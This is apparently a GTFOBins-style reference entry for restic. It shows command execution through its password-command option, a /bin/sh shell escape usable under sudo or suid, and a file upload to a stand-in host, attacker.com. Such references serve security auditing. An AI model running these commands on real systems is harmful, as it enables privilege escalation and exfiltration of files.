restic

Command Execution

Context: sudo, suid, unprivileged

RESTIC_PASSWORD_COMMAND='/path/to/command' restic backup

Context: sudo, suid, unprivileged

restic --password-command='/path/to/command' backup

Shell

Context: sudo, suid, unprivileged

RESTIC_PASSWORD_COMMAND='/bin/sh -c "/bin/sh 0<&2 1<&2"' restic backup

Context: sudo, suid, unprivileged

restic --password-command='/bin/sh -c "/bin/sh 0<&2 1<&2"' backup

Upload

Context: sudo, suid, unprivileged

restic backup -r rest:http://attacker.com:12345/x /path/to/input-file